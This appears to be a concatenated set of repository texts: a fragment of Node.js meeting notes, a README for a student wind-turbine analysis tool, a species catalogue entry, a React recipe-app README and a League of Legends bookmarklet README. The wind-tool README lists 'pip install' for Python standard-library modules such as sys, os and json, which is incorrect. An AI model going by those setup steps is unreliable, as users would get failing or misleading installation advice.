Michael: We want to make that available, maybe via npm. Same for IDDE.

TJ: Would be great to have the additional debugging support in the code base
too, so that people can load core files from z platforms and do debugging.

## Releases

### v0.10.38

Julien: Would be great to document how to upgrade OpenSSL.

James: Had an item in my todo list to do that.

Julien: We can team up to do that.

TJ: I would suggest to start shipping an alternate binary linked with shared
dynamic libraries for libuv, OpenSSL, etc.

TJ: Might be difficult to do that for dependencies where we have floating
patches.

### v0.12.2

Julien: New P-1 issue added: debugger is very slow, takes 1 or 2 minutes to do
basic operations, see https://github.com/joyent/node/issues/9125 for more
information.

Trevor: There's a major issue with buffer
(https://github.com/joyent/node/issues/9180) that causes asserts for a lot of
users, can we get a v0.12.2 release asap with the current state of v0.12, and
move everything else from the 0.12.2 milestone to 0.12.3?

Julien: We may also want to add an upgrade to npm 2.7.3 for this release.

Trevor: See also https://github.com/joyent/node/issues/14165.

No objection from anyone.

## Tool for testing npm modules

James: Currently porting from Python to Node.js. Will put in a separate repo.
Some issues regarding non-uniform tests output and additional npm
dependencies.

## Discussions with PM2 developers

TJ: Met recently with developers from PM2. Would like to have a discussion
with them around potential improvements to the cluster module.

## Crypto performance

James: Interested in getting some work to propose enhancements to crypto
performance. What do you think about adding async mechanisms to crypto?

TJ: Could have a discussion of what we'd like as an async API. Could also
broaden the discussion to a long term goal of having better TLS performance.
That will be even more important with HTTP/2.

James: Can start the conversation with a proposal of improvements.

## Website

TJ: We'll have a new single certificate with support for subdomains.

Robert: Need some feedback on https://github.com/joyent/node-
website/issues/81.

Robert: Made changes to the license here: https://github.com/joyent/node-
website/pull/93.

gha_language: JavaScript

gha_license_id: NOASSERTION


text:
Created by Ashan Ranmuthu, Thiago de Sousa Burgani, and Juan P. Barberena Valencia

*****************************
WINDPOWERCALC3000 README FILE
*****************************

Contents:
 - I. Introduction
 - II. Requirements
 - III. WindPowerCalc3000_History Instructions
 - IV. WindPowerCalc3000_Forecast Instructions
 - V. Useful Links

---------------
I. INTRODUCTION
---------------
This package was created as the final project for the Application Programming For Engineers course (ME 396P) during the Spring 2021 semester with Dr. Pryor as instructor.
This package has two programs:
1. WindPowerCalc3000_History: This program helps parties interested in building wind turbines decide where and which models to build. It does this by estimating the energy production and financial performance a given turbine would have achieved under historical weather conditions in a given location. It can also provide comparative estimates for multiple turbines if desired so that users can make decisions between turbines.
2. WindPowerCalc3000_Forecast: This program helps parties that already operate wind turbines forecast their power production over the next seven days. The parties can then compare the power production forecast with their own power demand forecasts to predict when supplemental power will be needed and when there will be excess wind energy to store.

----------------
II. REQUIREMENTS
----------------
In order to use this program, several packages need to be installed. Type the following commands into the console of your IDE to do so:

 - pip install windpowerlib
 - pip install geopy
 - pip install geocoder
 - pip install meteostat
 - pip install timezonefinderL
 - pip install pandas
 - pip install sys
 - pip install os
 - pip install datetime
 - pip install requests
 - pip install json
 - pip install matplotlib
 - pip install csv
 - pip install numpy

**The user must download all the files in this repository and keep them in the same directory at all times.** (The easiest way is to download the repository code as a zip file.) Only the folder called "archived" can be deleted.

-------------------------------------------
III. WINDPOWERCALC3000_HISTORY INSTRUCTIONS
-------------------------------------------
Open WindPowerCalc3000_History.py.

Once it is running, you will be presented with the welcome interface which will ask you to type a letter to open a module. Each valid letter and its corresponding module is shown below. (The welcome interface shows these instructions.)
 - 'w'  Weather Module
 - 'db' Access Wind Turbine Database
 - 's'  SingleTurbine Analysis Module
 - 'c'  Turbine Comparison Module
 - 'q'  Quits the program.

IMPORTANT: The program must first download weather data for the user's desired location before generating useful plots, so the user's first input should be 'w'.

**A. Weather Module**

This module is accessed by typing 'w' after the welcome instructions. In this module, the user will type in the desired location for analysis. For example: "Sacramento, CA". Another example: "Paris, France". The program will check the distance between the specified location and the user's IP address. If the distance is greater than 350 miles, the program will display this distance and ask whether to proceed. This can help verify whether the program has selected the right location. (For example, it will inform a user in Texas if the program is looking for Paris, France when the user actually wanted Paris, Texas.)
The program will then ask for the beginning and end of the historical time frame for which plots should be generated. **Only data since the year 2000 can be reliably downloaded.** The weather data download will begin. A longer time frame will lead to a longer download time. **A time frame of one year will typically download in ten seconds.** Some locations will have no available data.
After downloading, a message will appear, and the user will be presented again with the welcome instructions for how to proceed.

**B. Access Wind Turbine Database**

The windpowerlib package's wind turbine database is accessed by typing 'db' after the welcome instructions. The program will automatically display the database in chart form. (The database is stored in turbine_database.csv.) The turbine_type column shows the names of the models.

**C. Single Turbine Analysis Module**

This module is accessed by typing 's' after the welcome instructions. If weather data hasn't been generated yet the program will inform the user and return to the welcome instructions.

The user will be prompted for the name of the turbine model they wish to analyze. The turbine model name must excatly match the name as it is shown in the turbine_type column of the database. The user can type 'db' to see the database.
Once the turbine type is accepted, the user will need to input the turbine hub height, construction cost (USD), annual maintenance cost (as a percentage of the construction cost, without the % sign), and expected revenue (USD per kWh produced). If the user enters '0' or just hits enter in any of these, a default value will be used, and a
warning message will appear.

The program then performs the calculations and produces the following plots. These plots are are also saved as png images to the directory "History Plots\Single Turbine History Plots" which contains example plots that can be deleted if desired.
1. Power Output (Power vs Time) (uses calculation functions from windpowerlib package)
2. Financial Analysis (Revenue and Costs vs Time)
3. Profit (Profit vs Time)

A detailed report will also be printed to the screen and contain the following user-inputed parameters:
 - Location
 - Length of time range
 - Construction Cost
 - Annual Maintenance Cost
 - Revenue per kWh

The report will also contain the following calculations:
 - Total Energy Output through the time range.
 - Total Revenue obtained through the time range.
 - Total Profit obtained through the time range.
 - Break Even: a prediction of the time needed to break even on construction cost and annual maintenance costs. (Only accurate if time range is at least 1 year.)

Once the user has reviewed all the information presented, they can choose whether to return to the welcome screen or to quit the program.

**D. Turbine Comparison Module**

This module is accessed by typing 'c' after the welcome instructions. It is very similar to the Single Turbine Analysis Module. If weather data hasn't been generated yet the program will inform the user and return to the welcome instructions.

The turbine models to compare are obtained from the TurbinesToCompare.csv file. Simply update that file with the turbine model names and the hub heights at which you would build them. The turbine model names must exactly match entries in the turbine_database.csv file. Once the CSV file is ready with the correct format and turbine model names, press enter.
The user must then follow prompts to enter the expecte revenue (USD per kWh produced), construction cost (USD), and annual maintenance cost (as a percentage of the construction cost, without the % sign).

The program then performs the calculations and produces the following plots. These plots are are also saved as png images to the directory "History Plots\Turbine Comparison History Plots" which contains example plots that can be deleted if desired.
1. Power Output (Power vs Time) (uses calculation functions from windpowerlib package)
2. Financial Analysis (Revenue and Costs vs Time) (only for two turbine models or less)
3. Profit (Profit vs Time) (only for two turbine models or less)

A detailed report will also be printed to the screen and contain the following user-inputed parameters:
 - Location
 - Length of time range
 - Revenue per kWh

The report will also print a table that provides the following parameters for every turbine:
 - Turbine model name
 - Construction Cost
 - Maintenance Cost
 - Energy produced in the time range
 - Revenue obtained through the time range
 - Profit obtained through the time range
 - Break Even: a prediction of the time needed to break even on construction cost and annual maintenance costs. (Only accurate if time range is at least 1 year.)

Once the user has reviewed all the information presented, the generated plot png images must be placed in a folder to prevent them from being overridden the next time this module is used. Then the user can choose whether to return to the welcome screen or to quit the program.

-------------------------------------------
IV. WINDPOWERCALC3000_FORECAST INSTRUCTIONS
-------------------------------------------
Open WindPowerCalc3000_Forecast.py

The MyTurbines.csv file represents your wind farm. It currently has data for an wind farm. The first column is titled turbine_catalog_name. Put the names of the turbine models in your wind farm. Check the turbine_database.csv file for all the turbine models that this package supports. In the second column, put the hub height of each of your turbine models. If you have multiple turbines of the same model that were built at different hub heights, you must create a new row for each combination of turbine model and hub height. For each row in the third column, put the number of turbines in your wind farm that are of that row's model and hub height. Save and close the MyTurbines.csv file.

Run the WindPowerCalc3000_Forecast.py file. Enter the desired location. For example: "Sacramento, CA". Another example: "Paris, France". Some locations will have no available data.

The program will output a plot of the seven day hourly power generation forecast for your wind farm (this uses calculation functions from windpowerlib package). An image of this plot will be saved to the "Forecast Plots" folder. This folder contains example plots that can be deleted if desired.

----------------
V. USEFUL LINKS
----------------
To learn more about the main packages being used in this program, copy and paste the following links in your web browser:
- https://windpowerlib.readthedocs.io/en/stable/                  -- windpowerlib documentation
- https://geopy.readthedocs.io/en/stable/                         -- Geopy documentation
- https://geocoder.readthedocs.io/                                -- Geocoder documentation
- https://dev.meteostat.net/                                      -- Meteostat documentation
- https://timezonefinder.readthedocs.io/en/latest/index.html      -- Timezonefinder documentation
- https://pandas.pydata.org/docs/                                 -- Pandas documentation
- https://matplotlib.org/                                         -- Matplotlib documentation


text:
# Yamadazyma scolyti (Phaff & Yoney.) Billon-Grand, 1989 SPECIES

#### Status
ACCEPTED

#### According to
The Catalogue of Life, 3rd January 2011

#### Published in
Mycotaxon 35(2): 203 (1989)

#### Original name
Endomycopsis scolyti Phaff & Yoney., 1961

### Remarks
null

repository: mdoering/backbone

repo_name: mdoering/backbone


text:
# Meals Book

> Meals Book is a React Project where I have a list of meals that has recipes on them, you can click at one recipe to get to the details page to see how you can prepare that meal.

## Project Screenshot:

![project screenshot](screenshot.png)

## Video Presentation:

[Vedio](https://www.loom.com/share/761342a46d43458783e23f25bea1d018)

## Built With

- ReactJS,
- ReactDOM,
- Redux,
- create-react-app,
- Express,
- NodeJs,
- Babel

## Live Demo

[Live Demo Link](https://eager-joliot-750952.netlify.app/)

## Getting Started

### Prerequisites

In order to have this project up and running you will need:

- NodeJS

### Setup

First, you need to clone this project using one of the links above, using this command:

```Javascript
git clone https://github.com/karthykarthick/React-Capstone.git

```

Then you should run: `npm install`

And afterward, you supposed to run: `npm start`, to run the project in your local machine.

Then head to the localhost on port 3000 `https://localhost:3000`

Congrats the project is fully working.

## Available Scripts

In the project directory, you can run:

### `npm start`

Runs the app in the development mode.\
Open [http://localhost:3000](http://localhost:3000) to view it in the browser.

The page will reload if you make edits.\
You will also see any lint errors in the console.

### `npm test`

Launches the test runner in the interactive watch mode.\
See the section about [running tests](https://facebook.github.io/create-react-app/docs/running-tests) for more information.

### `npm run build`

Builds the app for production to the `build` folder.\
It correctly bundles React in production mode and optimizes the build for the best performance.

The build is minified and the filenames include the hashes.\
Your app is ready to be deployed!

See the section about [deployment](https://facebook.github.io/create-react-app/docs/deployment) for more information.

### `npm run eject`

**Note: this is a one-way operation. Once you `eject`, you can’t go back!**

If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project.

Instead, it will copy all the configuration files and the transitive dependencies (webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own.

 The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it.

## Authors

👤 **Karthy karthick**

- Github: [@karthykarthick](https://github.com/karthykarthick)

## 🤝 Contributing

Contributions, issues and feature requests are welcome!

Feel free to check the [issues page](https://github.com/karthykarthick/React-Capstone/issues).

## Show your support

Give a ⭐ if you like this project!

## 📝 License

This project is [MIT](lic.url) licensed.

repository: karthykarthick/React-Capstone

branch_name: refs/heads/development

repo_name: karthykarthick/React-Capstone


text:
**This repository is no longer in active development, but feel free to submit pull requests.**

#Dominance Factor Bookmarklet
A bookmarklet which calculates your League of Legends dominance factor based on your last 10 games

##About the Bookmarklet
This [bookmarklet](http://en.wikipedia.org/wiki/Bookmarklet) displays a summoner's [dominance factor](http://leagueoflegends.wikia.com/wiki/Kill_to_Death_Ratio) (DF) based on the information [LolKing](http://www.lolking.net/) provides on their last 10 games. DF is an alternative to kill to death ratio (KDR) for scoring a player's contribution to the game. Using this method, kills count as 2 points, deaths count as -3 points, and assists count as 1 point.

This bookmarklet only takes into account ranked and unranked 5v5s - co-op vs. AI, custom games, dominion, and all other game modes are not included in the calculation.

##Adding the Bookmarklet
1. Create a new bookmark in your browser. The keyboard shortcut is usually Ctrl+D.
2. Set the name as "LoL Dominance Factor" (or anything else you desire).
3. Paste the code from bookmarklet.js into the URL field.
4. Save the bookmark.

##Using the Bookmarklet
1. Navigate to http://www.lolking.net/.
2. Find the summoner you wish to see statistics for using the search tool.
3. Click the "LoL Dominance Factor" bookmarklet. A modal will appear displaying a variety of statistics.

repository: edwardsdl/dominance-factor-bookmarklet

repo_name: edwardsdl/dominance-factor-bookmarklet